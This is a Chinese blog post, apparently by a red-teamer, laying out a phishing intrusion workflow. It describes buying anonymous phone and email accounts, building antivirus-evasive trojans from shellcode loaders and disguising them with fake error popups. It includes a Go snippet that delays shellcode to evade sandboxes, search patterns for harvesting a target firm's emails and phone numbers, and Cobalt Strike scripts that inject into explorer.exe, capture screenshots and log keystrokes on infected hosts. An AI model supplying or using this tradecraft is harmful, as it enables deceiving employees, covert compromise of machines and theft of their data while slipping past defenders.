穷则社工钓鱼,达则0day炸场-微步在线,借用微步公众号的一句话,没有后端资源支持的情况下,社工钓鱼必学技能,毕竟正面打不动,代码审不动,0day又没有是日常,下文讲解自己对于社工钓鱼的思路。
准备一些社交账号,如微信、QQ、脉脉、BOSS直聘、猎聘,手机号可以购买阿里小号/和多号。其中微信可以用辅助注册或者阿里小号/和多号注册,如果你有匿名的渠道购买更好。
邮箱方面,一般常用QQ邮箱、163邮箱,这些目前还是有渠道可以购买的,没钱或者担心购买不可靠,跟身边亲朋好友借也行。
免杀的马子是必备的,如果你是和我一样的免杀弟弟,我推荐先学习shellcode loader的一些编写思路
ShellcodeLoader
基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存
主要还是查文档自己多动手,学完就算不会写免杀马,改改别人GitHub的马子,过国内360火绒基本没问题,然后就是研究下捆绑exe释放正常文件,搞不懂直接给马子弹个框文件已损坏,无法打开也行,不然经常出现对方问你这文件怎么打不开...
平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,进行修改增加签名功能。360QVM_bypass-public
为了延长马子存活时间,基本的沙箱对抗少不了,毕竟有防守人员的话,你投递的木马基本都得沙箱走一走,以微步沙箱为例,最简单的循环打印。
使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。
//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测 func add() { start := time.Now() //获取当前时间 //1000000 1m2.793228s sum, i := 0, 1 for i < 1000000 { fmt.Println(i) sum += i i++ } elapsed := time.Since(start) fmt.Println("该函数执行完成耗时:", elapsed) }
将如上代码放在shellcode执行前就行。
思维导图如下,每个人都有自己的思路,我就简单讲解几个。
零零信安直接搜索公司名称,得到一些邮箱地址
拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。
如下组合:
@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式
常用的就cs,基本的套层CDN然后c2上线端口反代下,这里我会用到cs插件脚本
PushPlus2
常用的就是上线提醒、自动迁移进程
#自动迁移进程 sub callback{ $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+'; # 要迁移的进程 $listener = "ecloud"; # 监听器名字,此处为ecloud,记得修改为自己的 if ($2 ismatch $regex){ $pid = matched()[1]; $inject_pid = $pid; if (-is64 $1){ $arch = "x64"; } else{ $arch = "x86"; } binject($1, $pid, $listener, $arch); } } if($inject_pid != beacon_info($1,"pid")){ bps($1, &callback); }
还有上线自动截图功能,就算目标掉了起码还有张图证明上线过
#只截一张图 #binput($1, "screenshot"); #bscreenshot($1); #连续截图 binput($1, "screenwatch"); bscreenwatch($1);
其他的上线自动执行shell命令、键盘记录看自己需求吧
#执行自定义cmd命令 bshell($1, "ipconfig /all"); #键盘记录 bkeylogger($1);
还有其他需求可以去翻翻文档Aggressor Script
如果你有好用稳定的权限提升维持工具、如Bypass UAC、以及计划任务、服务,可以考虑下写个cs脚本上线自动bypass uac,加权限维持。
默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。
通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。
参考L33h0m师傅的文章分享我的CS钓鱼流程导图(权限维持+信息收集+后渗透阶段)
本文讲解了我对社工钓鱼的基本流程,偏向于思路,师傅们有其他思路欢迎在评论区留言,学习交流。